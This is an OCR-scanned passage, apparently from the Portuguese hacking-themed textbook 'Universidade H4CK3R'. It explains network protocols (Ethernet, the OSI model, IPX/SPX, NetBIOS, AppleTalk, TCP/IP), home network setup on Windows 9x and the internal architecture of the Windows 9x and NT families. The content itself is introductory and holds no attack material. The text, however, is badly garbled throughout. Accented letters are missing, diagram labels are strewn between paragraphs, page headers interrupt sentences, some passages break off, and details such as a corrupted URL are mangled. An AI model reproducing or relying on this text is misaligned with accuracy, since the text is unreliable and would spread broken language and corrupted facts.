Para fms didticos, vamos "montar"
genri-
co e fictcio, criado por ns. J sabemos que nossa mensagem tem de comear
com um identificador
de protocolo,
ento teremos alguma coisa assim:
Protocot
ID
Uma das coisas que o protocolo deve definir, alm da posio onde est
cada um dos dados, o tamanho deles. Assim, em nosso protocolo fictcio
definimos que o identificador de protocolo est na primeira posio. Mas
devemos que definir tambm quantos bits sero usados para identific-Io.
1ano
Universidade
Endereco de
Origem (4 bits)
Endereco
Destin
(4bits)
Falta alguma coisa, no? Quem teria o trabalho de enviar, pelo correio, um
envelope com remetente, destinatrio, o selo carimbado (que, nesse caso, identificaria o protocolo de comunicao: o sistema postal brasileiro) mas sem
uma carta no interior? Nosso protocolo tambm carece de algo til para fazer.
Precisamos definir um espao, dentro da mensagem, para carregar os dados
que queremos transmitir do n de origem para o de destino.
Vamos supor que a rede para a qual estamos criando esse protocolo tenha
uma limitao: o tamanho dos pacotes no pode passar de 64 bits. J usamos
dois para o protocolo, quatro para o endereo de origem e mais quatro para o
endereo de destino. 2+4+4 = 10, sobram, ento, 54 bits para o payload (expresso usada no meio ferrovirio para definir o tamanho da "carga til") e
demais campos. Um protocolo, por mais simples que seja, deve possuir um
smbolo que marque o fim da mensagem. Vamos definir uma sequncia de
1 byte para tal. Ao acaso, arbitramos 11001011. O smbolo deve ser a ltima
coisa que aparece na mensagem. Os 46 bits que sobraram podem ser usados
para transportar nossos dados.
PID
2 bits
4bits
Fim Msg
11001011
1431
] Redes1
I Universidade H4CK3R I
Matrioshka3
O campo Protocol ID (ou PID) de nosso protocolo um identificador que
o diferencia dos outros protocolos que trafegam na rede.
O protocolo nosso "primeiro fIlho", vamos batiz-Io de PROTl (original,
no?). Pode ser que, no mesmo cabo, trafegue o nosso PROTl e outros trs,
criados por seus colegas: MAILl, WEBl e 1M!. Em qualquer momento que se
verifique, h mensagens desses quatro protocolos trafegando simultaneamente. So mensagens independentes e que podem existir no mesmo tempo e espao. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo
MAILl vai carregar mensagens de correio eletrnico, o protocolo WEBl trar
pginas Web para seu navegador e o protocolo IMl permitem conversas entre
programas de mensagens instantneas.
Em algumas situaes, queremos usar um protocolo para transportar pacotes de outros protocolos. Uma dessas situaes quando o nmero de protocolos a transportar na rede muito grande. Nesses casos, cria-se um protocolo
de transporte - sendo s um, o hardware mais fcil de implementar - e
encapsula-se os demais protocolos como se fossem dados em seu payload.
Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um
dos nveis comumente chamado de camada ou layer, e possvel extratificar
a comunicao de dados criando camadas com funes especmcas.
Cabealho
Cabealho
CabeaLho
6
EJ
I
FIm
441
Redes 1 [
OS!
Universidade 1 ano
Ethernet
Confuso? Talvez a teoria seja, realmente, um pouco hermtica. Alguns exemplos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de
guardar um envelope dentro do outro no s fcil de entender como facilita
as coisas para o projetista.
O Ethernet um protocolo de redes de baixo nvel. Ele controla como os
dados trafegam na rede local, tanto no controle do meio fsico (sinais eltricos,
impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo
informaes sobre endereo de origem, de destino e dados a serem transportados.
Se voc abrir um cabo de rede e colocar um analisador lgico para observar o que
est trafegando, o que vai aparecer na tela um quadro Ethernet. A estrutura de
um quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe:
Cabecalho
Dados vindos da
camada superior
Ethe'rnet
Rodap
Ethernet
10101010
10101010
10101010
10101010
10101010
10101010
I
Endereco Tamanho
Prembulo SFD Endereco
Destin
Origem doQuadro
"Payload"
46 a 1500
FCS
1451
] Redes1
I Universidade
H4CK3R I
Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos
de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:
00 00 OC - Cisco
00 00 lB - Novell
08 00 09 - Hewlett.Packard
08 00 20 - Sun.Microsystems
02 60 8C - 3Com
08 00 5A
- IBM
Quadro n+1
I
Quadron
I
I
Interframe
Gap
Interframe
Gap
1461
Redes
1I
Universidade 1ano
o Modelo 051
Podemos dizer que o modelo de referncia OSI(Open Systems Interconnection)
nasceu da necessidade de criar um protocolo que conseguisse se comunicar
entre redes diferentes. As redes antigas de computadores possuam protocolos
proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comunicar e ser expandida com outras redes e equipamentos construdos pela mesma
empresa. A tecnologia utilizada era de conhecimento de apenas um fabricante,
no era possvel adquirir o hardware com uma empresa e instalar a rede com
outra. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem
sempre o fabricante proporcionava a melhor soluo.
Como o prprio nome diz, o OSI um modelo de referncia, no um protocolo. Vamos tentar ilustrar de uma maneira bem simples: pense num processador
de textos. O Microsoft Word, por exemplo. Existem diversos modelos de documentos (chamados templates) a partir dos quais podemos criar nossas prprias cartas, folhas de. rosto de fax ou memorandos. Imagine o modelo de referncia OSI como um template para criar protocolos de rede. Fcil, no?
O modelo foi desenvolvido pela ISO (lntemational Standards Organization),
e tomou-se um padro para que os fabricantes passassem a desenvolver seus
protocolos a partir desse modelo. Ainda assim, voc pode notar que os protocolos existentes no seguem risca essas especificaes, alguns por serem
mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e
uns poucos por pura arrogncia corporativa.
Camadas
o modelo OSI formado por sete camadas, cada uma com uma funo diferente. As camadas criam um envelope com os dados da camada superior, incluem
seus prprios cabealhos e entregam isso para a camada imediatamente inferior.
Quando o pacote chega na camada de nvel mais baixo, est pronto para ser
transmitido. As camadas so organizadas segundo este modelo:
Aplicao
Apresentao
I Sesso
I Transporte
Rede
3
2
Enlace
Fsica
1471
] Redes 1
I Universidade H4CK3R I
pelas Matrioshkas
1481
Redes1 r
Universidade 1ano
6 - Camada de Apresentao
Chamada, por muitos, de "a camada sem funo" ou "a camada intil". Na
teoria, serve para preparar os dados no domnio local e coloc-Ios em um formato compatvel com procedimentos de transporte. No caminho inverso, padroniza os diferentes tipos de dados de uma forma que qualquer aplicao
possa ser escrita para usar a rede, independente das implementaes das cinco
camadas inferiores. Dois exemplos de servios executados nessa camada so a
criptografia e a compresso de dados. Na prtica, essa funo trivial e
implementada na prpria aplicao.
5 - Camada de Sesso
A camada de sesso responsvel pelo estabelecimento de conexo entre
dois computadores que esto se comunicando. Ela controla o dilogo entre as
aplicaes nos sistemas local e remoto. Tambm possvel agrupar dados em
blocos e marc-Ios depois de enviados. Caso haja uma interrupo na conexo,
a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.
4 - Camadade Transporte
A camada de transporte fornece meios para que os ns local e remoto possam trocar dados. Usando uma analogia um pouco imprecisa, os programas da
camada 4 montam um "cano" entre a camada 5 local e a camada 5 remota. Se os
softwares de camada 5 de ambas as mquinas olharem pelo cano, vero, do
outro lado, seu companheiro. atravs desse encanamento disponibilizado pela
camada 5 que toda a "mgica" das camadas anteriores acontece.
3 - Camada de Rede
At agora, estvamos no mbito exclusivo do software. As camadas anteriores comunicam-se diretamente com o programa correspondente das mquinas remotas. A camada 3, por outro lado, conhece a topologia e a distribuio da rede e sabe como encontrar uma mquina em especial no meio
da selva de endereos e caminhos. A camada de rede no orientada
conexo como a camada de transporte. Os pacotes so enviados sem que se
saiba se vo chegar ou no. Como a conexo estabelecida na camada imediatamente superior (que, por sinal, est encapsulada nesta), isso no chega
a ser um problema.
2 - Camada de Enlace
A camada de enlace responsvel pela comunicao direta entre duas interfaces
numa mesma rede. No tem conhecimento de outras redes alm da sua, funo
da camada superior. Por outro lado, a camada que, na rede de origem e na de
destino, efetivamente recolhe e entrega o pacote interface de rede correta.
Controle e deteco de erros fazem parte do seu mtier.
1491
] Redes
1
I Universidade
H4CK3R I
1 - Camada Fsica
Como o prprio nome indica, a responsvel pelo envio dos quadros para o
meio fisico.A converso feita a partir dos Os e ls do quadro (sistema binrio)
e adaptada para o meio, no caso de um meio eltrico, so transformados em
sinais eltricos, num meio tico, sinais luminosos e assim por diante.
Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondncia, entre dois enxadristas, um em Teresina e outro em Goinia5. Os enxadristas
so os usurios. O jogo em si (tabuleiro, peas e regras) a aplicao (camada
7). As jogadas so registradas em notao tabular (por exemplo, o movimento
de um cavalo poderia ser B3C5) e escritas em folhas de papel - essa a forma
de apresentao do jogo (camada 6). Note que no basta simplesmente colocar uma papeleta no envelope com a notao da jogada. de bom tom escrever uma carta completa, com data, saudao e assinatura, perguntar como vai a
famlia, o trabalho, frias, etc. para que se crie um vnculo ntimo entre os dois.
Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabelecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da
sesso representada pelos servios da ECT.Colocamos a carta no envelope,
endereamos (no esquea o CEP!), selamos e colocamos na caixa de correio.
Do outro lado, nosso colega vai abrir a carta e estabelecer a sesso.
A ECT responsvel pelo transporte de nossa carta (camada 4). Isso significa criar meios para que uma conexo entre os dois enxadristas seja
estabelecida. Quando colocamos a carta na caixa de correio, esperamos que, de
algum jeito, ela chegue s mos do destinatrio. Os mecanismos usados para
tal no nos interessam.
A ECT separa as cartas por regio, depois por estado, depois por cidade,
depois por logradouro. Uma vez separadas, monta pacotes de cartas destinadas a cada logradouro e os envia para l. Utiliza-se, para tal, uma rede de vias
rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros
para entregar as cartas.
Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os
elementos que transportam os pacotes de cartas dentro de uma mesma rede
viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s
andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das cartas, sabem apenas como entregar as cartas localmente. So nossa camada 2.
Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de
um avio e entrar num nibus), nossas cartas so tratadas por funcionrios dos
correios que trabalham em atividades prprias da camada 3. Eles sabem mapear
entre as redes. Os pilotos dos avies, por exemplo, no entendem nada disso.
5 Apesar das facilidades da Internet e da Telefonia, um jogo por cartas mais romntico e mais barato...
150 I
Redes1 [
,0ano
Universidade
Os avies utilizam-se do ar para sustentao e navegao. J os caminhes trafegam pela estradas. Os carteiros andam por cada lugar que mereceriam muitas medalhas (nem o vento, nem a chuva...). O ar, as estradas e os
morros so nossos meios fsicos, por onde feito o transporte de tudo o que
descrevemos nas camadas superiores.
Ufa! Descrevemos pelo modelo OSI, com um exemplo no-tecnolgico
(tanto o correio quanto o xadrez existem h milhares de anos...), um mtodo
de transporte de mensagens entre duas aplicaes. H coisas bem interessantes a se observar nesse exemplo, o que comprova todas as teorias envolvidas
no modelo de referncia.
~ Encapsulamento: A jogada foi encapsulada na notao tabular, que foi
encapsulada na carta, que por sua vez foi encapsulada em um envelope, que
estabeleceu uma sesso de comunicao usando os protocolos de classificao
e transporte dos Correios, que envia pacotes de cartas segundo rotas especficas, que para isso trafegou em veculos que rodavam exclusivamente dentro do
meio fsico especfico para os quais foram feitos.
~ Paridade: Cada uma das camadas possui um emissor e um receptor. O pessoal de classificao e envio (camada 3) "conversa" com o mesmo pessoal da outra
localidade, usando os recursos da camada inferior (o caminho, por exemplo).
~ Conexo: A partir da camada quatro, vemos que todos os procedimentos
precisaram que o emissor e o receptor entrem em negociao. Da camada 3
para baixo, as cartas so transportadas indiscriminadamente, sem se importar
se haver algum l para receb-Ias. No chega a ser um problema: se apenas
uma das camadas estabelecer um canal de conexo permanente, as outras ca-
os diferentes
meios de transporte
nossa camada 2 -, mas no se preocupa com os problemas inerentes ao transporte - qual caminho designar, combustvel, motorista, problemas com greves, sindicato... J o motorista, alm de no saber por quais outros meios de
transporte as cartas trafegaram, muito menos o contedo de cada carta individual, preocupa-se apenas em gerenciar os problemas inerentes ao seu trabalho: seguir a rota designada pelo pessoal da camada trs, operando o caminho
de acordo com as leis de trnsito, desviando de buracos, atravessando enchentes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer
qualquer uma dessas partes do processo. Para eles, o que vale mexer o cavalo
de acordo com B3C5.
I 51 I
I Redes1
I Universidade
H4CK3R I
SPX!IPX
o Sequenced Packet Exchange/lnternet Packet Exchange o protocolo utilizado pela rede Netware da Novell. Implementa as camadas 3 e 4 do modelo de
referncia OSI, e utiliza, como protocolo de camada 2, exclusivamente o Ethernet.
Por muitos anos, Netware e Ethernet foram considerados sinnimos. Possuem
diversas semelhanas com o TCP/lP. J foram os protocolos mais populares,
mas, sendo o TCP/lP a base da Internet, acabaram caindo em desuso.
~ IPX - O IPX seria o equivalente ao protocolo de redes. uma
implementao muito volumosa e cheia de recursos. Tem algumas caractersticas vantajosas como a deteco de endereos MAC e atribuio automtica
de endereo IPX, ao contrrio de outros protocolos como o Ip, que fazem
com que o usurio tenha de atribuir manualmente um endereo para. cada
interface ou configurar um servio externo que automatize a tarefa.
~ SPX - Da mesma forma que o IPX, o SPX tem correspondncia com o
protocolo OSI de transporte. Uma das caractersticas mais importantes dessa implementao que o SPX tem de receber a confirmao dos pacotes
enviados antes de poder enviar outro, o que traz prejuzos para o desempenho da rede.
Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma
que no padro TCP/IP; so elas: Aplicao, SPX,IPX, ODI/Ethernet e a camada
de Interface com a Rede.
Aplicao
SPX
IPX
ODI7Eihernet
Interface com a rede
Cada um dos protocolos de todas as camadas Netware foram especialmente projetados para permitir elevada confiabilidade e desempenho. Vrios
flags de controle e sistemas redundantes de verificao de erros e reenvio de
pacotes so empregados. A prpria camada ODI representa um encapsulamento
do protocolo Ethernet para faz-Io atender s exigncias dos projetistas na
Novell. Mas, como nem tudo so flores, aumentar o nmero de controles que
garantam confiabilidade tem como reflexo a queda do desempenho em proporo direta. Esse foi um dos inmeros fatores que contriburam para a derrocada do SPX/lPX como famlia popular de protocolos de rede.
1521
Redes 1 r
Universidade 1ano
de redes Windows
Microsoft
descontinuou
de Comnon
Internet
1531
] Redes1
I Universidade
H4CK3R I
Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia,
implementaes para TODAS as camadas do modelo de referncia OSI, com
exceo da camada de rede. O que no chega a ser problema, pois fcil "encostar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse,
possvel implementar uma rede Microsoft suprimindo qualquer um dos protocolos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS
/I~
NetBEUI/NetBIOS
RFC1001 RFC1002
No
NetBIOS/TCP/IP
NetBIOS/SPX/IPX
TCP/IP
(5 e 4)
TCP/IP ou IPX/SPX (4 e 3)
Ethernet (2 e 1)
j41
Redes1 r
Universidade 1 ano
Appletalk
O AppletaIk, como o prprio nome sugere, o protocolo proprietrio utilizado
nas redes de computadores Apple. composto por protocolos de transporte e entrega, o ATP(AppleTalkTransport Protocol) e o DDP (Datagram Delivery Protocol),
equivalentes s camadas 4 e 3 do modelo de referncia OSI, respectivamente.
Camadas
Aplicao
Sesso
Transporte
Entrega de Datagramas
Acesso rede
TCP/IP
o
protocolo
conhecido
Control
Protocol!
Camadas
dos
1551
] Redes1
I Universidade
H4CK3R
Entendendo o TCP!IP
A famlia de protocolos TCP/lP a base de Internet e da maioria das redes
de computadores espalhadas pelo globo. Para entender como essas redes funcionam, necessrio ter uma noo de como o protocolo TCP/lP gerencia o
envio e recebimento de dados entre dois ns.
Note que chamamos o conjunto de protocolos TCP/lP de famlia. H mais
deles do que apenas esses dois, que do nome famlia (e so, realmente, os
mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o
ICMP (Internet Control Message Protocol), entre outros. TCP e UDP so protocolos de camada 4, ou seja, propiciam mtodos para que os dados vindos da
camada 5 sejam transportados at o n destino. IP e ICMp'por outro lado, so
protocolos de camada 3, o que significa oferecer insumos para que a camada 4
possa fazer seu servio.
O TCP/lP e protocolos auxiliares esto definidos em uma srie de documentos mantidos pelo Interbet Engineering Task Force (lETF). Procure pelas
RFCs 791,792 e 793 no site oficial: www.ieticom/rfc.htm1.
Embora vamos estudar o TCP/lP com detalhes no captulo complementar
a este, Redes 11,alguns aspectos devem estar claros para que possamos continuar a leitura deste livro.
o protocolo IP
o grande agente transportador
redes
IHL
TamanhoTotal
Tipo de Servio
Identificao
Protocolo
Tempo deVida
"Flags"
Fragmentao
Nmero de Verificao
Endereo IP de origem
Endereo IP Destino
Opes (se houverem)
Dados
56 I
Redes 1 r
Enchimento
Universidade 1ano
Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato:
000.000.000.000, em que cada byte pode incorporar um valor que vai de O at
255, como em 198.254.10.1. Outra informao pertinente a de que no deve
haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso
causaria conflito nas mquinas e uma delas estaria impossibilitada de se
conectar rede.
Mscara
de Rede
Possui o mesmo formato do endereo IP (000.000.000.000), mas afeta
apenas um segmento particular da rede. utilizada para dividir grandes redes
em redes menores, facilitando a administrao e reduzindo trfego exprio.
TCP/UDP
Dentro dos pacotes IP, podemos transportar dois tipos de pacotes de
dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maioria dos servios para carregar informaes entre as duas extremidades da
conexo, e possui caractersticas de controle de fluxo e recebimento. O outro
o UDp, mais simples e sem qualquer tipo de controle, mas rpido e com
impacto menor no desempenho da rede.
Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus
dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados
aplicao ou servio que est enviando ou transmitindo os dados. Cada um
desses servios est relacionado a um nmero chamado porta. Por exemplo,
em um servidor qualquer, a porta TCP 80 oferece o servio HTTP,enquanto a
porta UDP 53 pode oferecer um servidor de DNS.
DNS
O Domain Name Server traduz um nome de fcil memorizao em um
nmero de IP.Por exemplo, vamos supor que o IP de um servidor na Internet
seja 200.167.208.1, o DNS poder atribuir um nome a ele para que sua localizao seja mais fcil, como www.siteprocurado.com.br.Ao colocar esse endereo legvel no browser, esse vai entrar em contato com o servidor de DNS e
fazer a converso para nmero IP.
ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC.
Quando o pacote IP chega rede destino, deve haver um mecanismo que diga
ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est contido no pacote, faz-se uma pergunta a todas as mquinas da rede: "quem tem meu
IP"?A interface configurada com aquele IP responde com o endereo MAC,e o
pacote enviado a ela.
1571
] Redes 1
I Universidade
H4CK3R I
Laboratrio
de Redes
Slot
~
"",,,,,.,,,,,,,,,,,,,,,,,,,,,,,, """ ""
""''''''''''''''''''''''''''''''''''''''''
''''''''''
''''''''''
""""""",,,,,,,,,,,,.,,,,,,,
"""""
"""""''''''''''''''''''''''''
"''''''''
''''''''''''''''''''
""" """" "''''' ",
""""""""""""''''''''''''''''''''
""""""""""""""""""""""
""""""""""""''''''''''''''''''''
158 I
Redes 1 r
...............................
.......................
........................
...............................
.11111111111111111.
11111111111111111.
Universidade 1ano
Ponta B
l~Branc()/Verde .
2- Verde
3- BrancolLaranja
4- Azul
5- Branco/Azul
6- Laranja
7- Branco/Marrom
8- Marrom
Configurando a rede
Com todas as instalaes de hardware completas, chega a hora de conftgurar os
computadores. Para montagem da rede, vamos utilizar o protocolo TCP/lP visto
anteriormente, pois esse mais flexvel e conftvel.A conftgurao do endereo IP
ftca a critrio de quem est montando a rede, isso porque o prprio Wmdows
pode designar um IP automaticamente para cada mquina se desejado. Aqui, ns
atribuiremos manualmente os IPs.
Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa IPs que esto reservadas para as
redes domsticas. Esse nmero ftca entre 192.168.0.1 e 192.168.255.254, alm
disso, o endereo de cada micro deve ser diferente para que no haja conflito
entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado.
Para tanto, abra o painel de controle e v em "Redes", se o protocolo no estiver
1591
I Redes 1
I Universidade
H4CK3R I
listado na guia "Configurao", ento ser necessrio instal-Io. Aproveite tambm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de
arquivos e impressoras para redes Microsoft". Ento, dique no boto
"compartilhamento de arquivos e impressoras" e marque a opo "Desejo que
outros usurios tenham acesso aos meus arquivos".
Aps decidir o nmero de Ip, hora de prosseguir. Abra novamente o
cone de redes no painel de controle, escolha o protocolo TCP/lP e clique no
boto de propriedades. Uma nova janela ser aberta, ento clique na guia "Endereo IP" e marque a opo "Especificar um endereo IP", preencha o campo
do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede,
voc deve colocar o seguinte nmero: 255.255.255.0.
Agora ns devemos identificar o computador e o grupo de trabalho, para
isso, dique na guia "Identificao" na janela de redes. Lembrando que o nome
dos computadores pode ser diferente, mas a grupo de trabalho deve ser o
mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha
e um login para a rede.
Pronto, se os dois computadores estiverem conectados e configurados
corretamente, voc deve ter sua rede rodando sem problemas. Para compartilhar uma pasta, basta apenas clicar com o boto direito do mouse na pasta
desejada e acessar as opes de compartilhamento.
Redes1 [
Plataforma
Windows
Captulo
"Aujourd'hui rOI;demain rien ",I
(Ditado popular francs]
1 Hoje
rei.
alllanl1
nada.
I Universidade
H4CK3R I
As ~~famlias" Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando quase que duas plataformas completamente diferentes internamente, embora conservando a mesma aparncia externa.
Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa
famlia caracteriza-se por possuir um kernel em parte baseado no antigo MSDOS e, portanto, compatibilidade com programas antigos. Tambm por isso
possuem algumas limitaes.
A famlia Win9x uma verso quase totalmente reescrita do Windows 3, que
no era exatamente um sistema operacional. O Windows 3 era considerado por
alguns apenas como uma interface grfica que rodava em cima do MS-DOS.Os
autores concordam com essa afIrmao apenas em parte. O Windows 3 acrescentava caractersticas h muito desejadas pelos usurios e j presente h alguns anos em sistemas Macintosh, como o processamento multitarefa e um
melhor gerenciamento de memria. E o usurio podia interagir com o sistema
utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar dezenas de comandos para chamar seus programas e gerenciar seus arquivos. Com
efeito, podemos dizer que o conjunto MS-DOS+ Windows 3 deveria ser considerado um sistema operacional completo.
O Windows 95 era um passo frente. As APIs (Application Programming
Interfaces - uma espcie de "tomada" do sistema operacional em que voc
encaixa o seu programa) foram completamente remodeladas. Mas o kernel do
sistema era um "frankenstein" contendo vrios elementos novos costurados em
uma verso atualizada do velho MS-DOS,embora totalmente escondido. As verses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carregam verses (sempre atualizadas, verdade) desse kernel. Como o MS-DOSera
monotarefa, transform-Io em um sistema multitarefa como o Windows requereu diversos work-arounds e programas externos rodando na rea do usurio e
41
Plataforma Windows [
Universidade 1 ano
Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e
Windows :xp2. Sua primeira verso, o Windows NT, foi desenvolvida para ser o
sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do
LAN Manager com a interface grfica do Windows 3.1 e um novo projeto de
kemel, o Windows NT pretendia brigar num mercado dominado por mquinas
Unix e Novell. Mesmo com desempenho, escalabilidade e confiabilidade, na
poca, menores do que os de seus adversrios, a Microsoft conseguiu, em poucos anos, alavancar o Windows NT como a plataforma de redes mais vivel e
utilizada. Fez isso baseada em trs princpios:
~ Preo baixo: uma licena do Windows NT custava muitssimo menos que
licenas do Novell Netware ou de qualquer sabor de Unix. E rodava em servidores baseados em processadores Intel, hardware mais barato que as carssimas
RISC dos Unices.
~ Facilidade de configurao e operao: enquanto os servidores Unix e
Novell possuam interfaces com o usurio baseadas em caractere, o Windows
NT disponibilizava para os administradores de sistema uma interface grfica
semelhante dos micros desktop.
~ Marketing: a mquina de divulgao da empresa, localizada em Redmond,
no estado de Washington, EUA, mundialmente conhecida. Eles foram muito
felizes ao promover o novo sistema operacional de redes da Microsoft, evidenciando ao mximo na mdia os dois princpios anteriores.
Os sistemas operacionais para servidores de rede da Microsoft, impulsionados pelos trs princpios citados e auxiliados pela inrcia dos concorrentes,
levaram o Windows NT ao primeiro lugar em servidores administrativos durante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tambm para SOs que rodassem nos computadores das pessoas, em casa ou no
escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o
kerne1 do Windows NT proporcionava.
A famlia Windows NT logo ganhou verses para ser usada nas mquinascliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT
Workstation, e possua uma estabilidade muito superior de qualquer mem2 Apesar de a Microsoft divulgar que o Windows 2000 um sistema totalmente reescrito, apenas
baseado no Windows NT, sabe-se por fontes no oflciais que ele ainda possui muita coisa intocada do
NT original. O Windows Xp, por outro lado, possui partes do Windows 2000 e do Windows Me, para
garantir compatibilidade
com os programas antigos do usurio. O que quer dizer que ainda h
tecnologias do NT, do Win9x e mesmo do velho MS-DOS nele.
1651
I
Plataforma
Windows
I Universidade
H4CK3R I
Nos bastidores...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que
seja o sentido que voc empregue palavra) deve conhecer profundamente o
funcionamento de pelo menos um sistema operacional. Apesar de os sistemas
Unix serem uma boa escola, por sua modularizao extremamente didtica,
entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a entender como um sistema pode evoluir, e possveis maneiras de contornar problemas inerentes compatibilidade com tecnologias antigas.
Devido natureza proprietria e fechada dos produtos Microsoft, nem todas
as informaes sobre os sistemas so divulgadas. Este captulo tomou como
ponto de partida o knowledge base autorizado pela empresa. No entraremos
em muitos detalhes a respeito do kernel do sistema.
Estrutura
De uma forma geral, ambas as famlias do sistema operacional Windows empregam o conceito de microkernel: apenas os servios mais bsicos so
implementados. Todos os outros so executados por programas externos, que
rodam em user mode, ou seja, como programas comuns. Grosso modo, isso
significa que o usurio pode perigosamente ter acesso a partes do kernel.
3 Alguns usurios tentaram outros sistemas, como o OS/2 (antes de ser morto pela IBM), o Macintosh
(neste caso, substituindo no s o software, mas todo o computador) e, mais recentemente, opes
como o BeOS, o FreeBSD e o linux. Com exceo do OS/2 e do BeOS (recentemente descontinuado), a
maioria das pessoas que migrou para outras plataformas no retornou ao Windows. Sintomtico?
4 Essa verso teve oficialmente quatro nomes diferentes, e outros tantos extra-oficiais. Chegou a ser
chamada de Windows .NET Server numa referncia s novas tecnologias baseadas em XML da empresa, mas ao que parece a Microsoft desistiu da associao no nome. Mesmo assim, o produto est sendo
chamado no site da empresa de "o aglutinador das tecnologias .NET" ("the glue to all .NET technologies'').
,61
Plataforma Windows I
Universidade 1ano
UserMode
,,
,,
,,
,,
,
,
,,
"
~~
Kernel Mode
~~"
Hardware
Acessrios
Programas
Shell de 32-bits
C:J
I
Registro
NcleodoWindows98 ("core")
Gerenciadorde
sistemasde
Gerenciadorde
arquIvos
Configurao
instalveis(lFS)
EJ
Oevice
Gerenciadorde
DriversWDM
Orivers
1671
I
Plataforma
Windows
I Universidade
H4CK3R I
Observe atentamente o diagrama. A estrutura interna do Windows 9x aparentemente modular. H uma diviso clara entre o ncleo (normalmente chamado de core) e as outras partes do sistema. Tal diviso, embora visvel no
papel, extremamente tnue na prtica. Vrios processos crticos do sistema
rodam na mesma rea de memria e disputam os mesmos recursos de
processamento que os programas do usurio. Apesar de simplificar o desenvolvimento do SO e permitir compatibilidade com hardware e software legados, no h como escapar das instabilidades que essa estrutura acarreta.
Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam
o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual
separada, e tem a impresso de possuir um hardware e um ncleo do sistema
operacional exclusivos. Programas antigos para o MS-DOStambm rodam em
mquinas virtuais separadas, mesmo porque eles tendem a capturar todos os recursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rodlos no Wmdows.J os programas de 16 bits do Wmdows 3, devido sua natureza
multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits.
H um shell para intetfacear as mensagens entre cada mquina virtual dos programas e o ncleo real do sistema.Esseshell tambm se encarrega de fornecer os widgets
(botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as
aplicaes e de mostrar as janelas j montadas para o usurio, de forma que ele possa
interagir com o sistema.Esseshell tambm fornece alguns dos utilitriose ferramentas
do sistema,como o Wmdows Explorer,o Painel de Controle e o Ambiente de Rede.
Registro
tE
Gerenpiadorde
II Configurao
I
Gerenciadorde
DriversWDM
o corao da famlia Win9x o core system. Composto por trs componentes: o kernel, responsvel pelo controle de processos, de EIS e do hardware; o
user, que controla os elementos manipulveis pelo usurio (janelas, eventos
disparados pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics
Device Interface, que interage com o hardware de vdeo. O subsistema de impresso tambm est situado no GDI.
1681
Plataforma Windows [
Universidade 1 ano
]C
Programas
Acessrios
Shell de 32-bits
Ncleo do Windows
Gerenciador
VMM
:J
Registro
98 ("core")
de
sistemas de
Gerenqi-aorde
1I COr)fiyurao
arquivos
instalveis(lFS)
Gerenciador de
Drivers WDM
~y-evice Orivers
GOl
Kernel
"im
.'
EI
.''''''''.'
............
<, Programas
Shell de 32-bits
Registro
de
de
Gerenciador
arquivos
II Configurao
instalveis (lFS)
Agendador
de processos
Interdacepara
o MS-DOS
em modo
protegido
de
Gerenciador de
II Orivers WOM
Device Orivers
1691
I
Plataforma
Windows
I Universidade
H4CK3R I
Outro componente dessa camada o IFS ou Installable File System. O sistema no preparado para reconhecer um nmero [mito de sistemas de arquivos de maneira nativa. Em vez disso, o IFSpermite que novos file systems sejam
"plugados", fornecendo assim compatibilidade para virtualmente quaisquer tipos deles - basta que algum escreva o mdulo correspondente.
Acessrios
Programas
I'
Shellde32-bits
Ncleo do Windows
..
: ..o,',"
~~
_-"_~44-ft~-"
~~/[~V~M~~I
I rC :J
II
98 ("core")
Gerenciador de
Drivers WDM
"Gr~~Ciadorde
Config'!:Ir~o
Registro
. ' ,
'. ..
~o
Camadas diversas*
Camadas SCSI
Oriver de conexo
Mini-camada de conexo SCSI
